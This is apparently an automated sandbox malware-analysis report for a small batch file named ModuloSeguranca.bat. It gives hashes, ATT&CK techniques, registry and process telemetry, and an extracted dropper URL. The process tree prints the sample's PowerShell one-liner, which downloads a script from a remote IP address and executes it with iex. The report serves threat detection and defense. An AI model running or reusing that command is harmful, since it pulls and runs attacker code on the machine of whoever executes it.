10c4df0e867c206a159984939d697025aca450c608a983bdd58a3fb86dd226e5

Resubmissions

23/05/2026, 22:17

260523-17dbbaex4t10

23/05/2026, 22:14

260523-15w1msbt8r10

Analysis

user interaction
yes
max time kernel
64s
max time network
66s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
23/05/2026, 22:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ModuloSeguranca.bat
Size 69B
Sample260523-17dbbaex4t
SHA256 10c4df0e867c206a159984939d697025aca450c608a983bdd58a3fb86dd226e5
MD5 5c373fa13b38ffb9782ff1d2f0f44985
SHA1 b84132f87840da0ec3085fe8d3821f2767665bdf
SHA512 5b4af83036f0d79caaffeec8257f6b7f05f1a4bb4e819751da1831246551ff9396db49f4109610b488f1a02c613f773353bc19c3bc9073becca78e1242b70e6e
TLSH
T1F9A0245F0C141D0C5507441C7353143014300041F050D4F1D00D105F1CD104C531C114
MD5 SHA1 SHA512 TLSH

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://24.199.90.58/st.txt

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3452	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3452	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
844	chrome.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\UpperFilters	chrome.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\UpperFilters	chrome.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	chrome.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134240482480733630"	chrome.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4045429996-2364296335-1634900306-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1564618566-2075036687-2183292701-3772712905-356161540-1460609487-3404086268	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4045429996-2364296335-1634900306-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1564618566-2075036687-2183292701-3772712905-356161540-1460609487-3404086268\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4045429996-2364296335-1634900306-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1564618566-2075036687-2183292701-3772712905-356161540-1460609487-3404086268\Moniker = "cr.sb.xr3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-4045429996-2364296335-1634900306-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1564618566-2075036687-2183292701-3772712905-356161540-1460609487-3404086268\Children	chrome.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3452	powershell.exe
3452	powershell.exe
5100	chrome.exe
5100	chrome.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3452	powershell.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe
Token: SeCreatePagefilePrivilege	5100	chrome.exe
Token: SeShutdownPrivilege	5100	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe
5100	chrome.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 548 wrote to memory of 3452	548	cmd.exe	83
PID 5100 wrote to memory of 5952	5100	chrome.exe	87
PID 5100 wrote to memory of 844	5100	chrome.exe	88
PID 5100 wrote to memory of 5400	5100	chrome.exe	89
PID 5100 wrote to memory of 5400	5100	chrome.exe	89
PID 5100 wrote to memory of 5048	5100	chrome.exe	90
PID 5100 wrote to memory of 5048	5100	chrome.exe	90
PID 5100 wrote to memory of 460	5100	chrome.exe	91
PID 5100 wrote to memory of 460	5100	chrome.exe	91
PID 5100 wrote to memory of 1176	5100	chrome.exe	92
PID 5100 wrote to memory of 1176	5100	chrome.exe	92
PID 5100 wrote to memory of 5840	5100	chrome.exe	94
PID 5100 wrote to memory of 5840	5100	chrome.exe	94
PID 5100 wrote to memory of 2712	5100	chrome.exe	95
PID 5100 wrote to memory of 2712	5100	chrome.exe	95
PID 5100 wrote to memory of 4904	5100	chrome.exe	96
PID 5100 wrote to memory of 4472	5100	chrome.exe	99
PID 5100 wrote to memory of 4472	5100	chrome.exe	99
PID 5100 wrote to memory of 5992	5100	chrome.exe	100
PID 5100 wrote to memory of 5992	5100	chrome.exe	100
PID 5100 wrote to memory of 1052	5100	chrome.exe	101
PID 5100 wrote to memory of 1052	5100	chrome.exe	101
PID 5100 wrote to memory of 5128	5100	chrome.exe	102
PID 5100 wrote to memory of 5128	5100	chrome.exe	102
PID 5100 wrote to memory of 5776	5100	chrome.exe	107
PID 5100 wrote to memory of 732	5100	chrome.exe	108
PID 5100 wrote to memory of 5272	5100	chrome.exe	109
PID 5100 wrote to memory of 4872	5100	chrome.exe	112
PID 5100 wrote to memory of 4872	5100	chrome.exe	112
PID 5100 wrote to memory of 264	5100	chrome.exe	113
PID 5100 wrote to memory of 264	5100	chrome.exe	113
PID 5100 wrote to memory of 5592	5100	chrome.exe	114
PID 5100 wrote to memory of 5592	5100	chrome.exe	114
PID 5100 wrote to memory of 632	5100	chrome.exe	115
PID 5100 wrote to memory of 632	5100	chrome.exe	115

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ModuloSeguranca.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "$po='http://24.199.90.58/st.txt';iex(irm $po)"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3452

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff87f3ac728,0x7ff87f3ac734,0x7ff87f3ac740
  2⤵
  PID:5952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2028,i,11124133762873694453,13873238998820024716,524288 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=640 /prefetch:3
  2⤵
  - System Time Discovery
  PID:844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1720,i,11759791929889546693,5114228692314481700,262144 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1916 /prefetch:2
  2⤵
  PID:5400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2428,i,14694510857419881206,2926077289416786855,524288 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2596 /prefetch:8
  2⤵
  PID:5048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3248,i,7859827212045635396,10841404959475096035,2097152 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3272 /prefetch:1
  2⤵
  PID:460
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3252,i,16919546164317527481,14072148284291003131,2097152 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3308 /prefetch:1
  2⤵
  PID:1176
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4436,i,9295239600148047712,8192938721828973452,2097152 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4456 /prefetch:2
  2⤵
  PID:5840
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4736,i,12305017617386804795,340639524762316365,2097152 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4720 /prefetch:1
  2⤵
  PID:2712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5436,i,18226767560943166935,12012790636061860191,524288 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5352 /prefetch:8
  2⤵
  PID:4904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5736,i,5866617925607617207,7648369109373779712,2097152 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5852 /prefetch:1
  2⤵
  PID:4472
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4760,i,6655976786117153806,9249660153556065842,2097152 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5908 /prefetch:1
  2⤵
  PID:5992
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=3448,i,339823344937606231,15499169296484810047,2097152 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:1052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4788,i,11024242757752378075,72225432924816234,2097152 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5456 /prefetch:1
  2⤵
  PID:5128
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4740,i,11886599605067184870,14405797805346539613,524288 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4748 /prefetch:8
  2⤵
  PID:5776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6004,i,3258706337850422752,605642600452678415,524288 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4756 /prefetch:8
  2⤵
  PID:732
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6028,i,13264033509658831201,3455762964617744297,524288 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6044 /prefetch:8
  2⤵
  PID:5272
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6028,i,17901123904519729932,17252797229678472687,2097152 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4716 /prefetch:1
  2⤵
  PID:4872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=3360,i,3120246590964738588,7996858907925183684,2097152 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5988 /prefetch:1
  2⤵
  PID:264
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=4784,i,5100308282221302480,2176540578054829973,2097152 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6100 /prefetch:1
  2⤵
  PID:5592
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=device.mojom.XRDeviceService --lang=en-US --service-sandbox-type=xr_compositing --force-high-res-timeticks=disabled --metrics-shmem-handle=5972,i,6302818784064070379,2493733601561903382,524288 --field-trial-handle=1904,i,6950222953643308227,4205182723530933523,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4716 /prefetch:8
  2⤵
  PID:632

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

253b9463-74db-45fa-8839-2b07fb7998a7.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\253b9463-74db-45fa-8839-2b07fb7998a7.tmp
Size 649B
SHA256 d05b7ca9cc0598487c95c86df20e4b92fafcc3c070fe6401f590df571b3fc71c
MD5 02b8d5a4a50916db3e8ec4e6908fcff3
SHA1 7cd4f0abc1dcc03bede439f2fdd1e1afea8bdbc1
SHA512 513b9444c6c4a5363779e26ee54d742dad4af892096ffd2cfa75b12ac8e7dca02c221ba3d689d440d37480d2eab62e2bd2ceef92ba9b2106c916adfc859c4abe
TLSH
T1C5F028B6CD21AC371CFD1B1C30A4474AE754136B2B51894F7A3D830D8FB9A3B4A5682C
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 1KB
SHA256 1a0f367416cae4718571173c2884ed78537bed95ca6ccb3af8bd8f677199ec78
MD5 e2c86965bcaef1360c0c1c4e33dda4c4
SHA1 a4c147145914b950b7d139671336a92a8eeb76bf
SHA512 506de7d7ea954d6a3be0dfa654e5482a42017d6863a010b5e61131b108374b30775ab255f23da6b7f01a856b2e1dad3c1a66ba87918799bec813cb9ee9266321
TLSH
T15E213355B08F3AB7CB31323E47816800225E5C521A2F3F5BCB526CEC216F69080328DA
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 da09025ee2e161fe3a46880a0a421860ee32da64ad86747b0b5e764b32baa55a
MD5 1fdce09d8526c8a8b826ffc84d0b95e1
SHA1 00e6fb5904cebccbab890e88b4961fcf6f256b69
SHA512 fe97bc3adf66757e7099675a1ec27882ceefddd31300a7268742031d2ceb2e62353c09e2f49fbbc10aa7e8a091b904f2a90de9f200bba5fd83ed6fdb70dfe6ac
SSDEEP 192:kRtsGarWS8DRcv7XpAPRp2k9fHsb+WNn0b08Z+e52K5VyIsnAUgtaJ:kRts18ILUXPFwc022W8
TLSH
T13642D83EB954663B6CCBD21AFA667753D7F9103625902D84EAFC8A1C05EB5CC221701F
MD5 SHA1 SHA512 SSDEEP TLSH

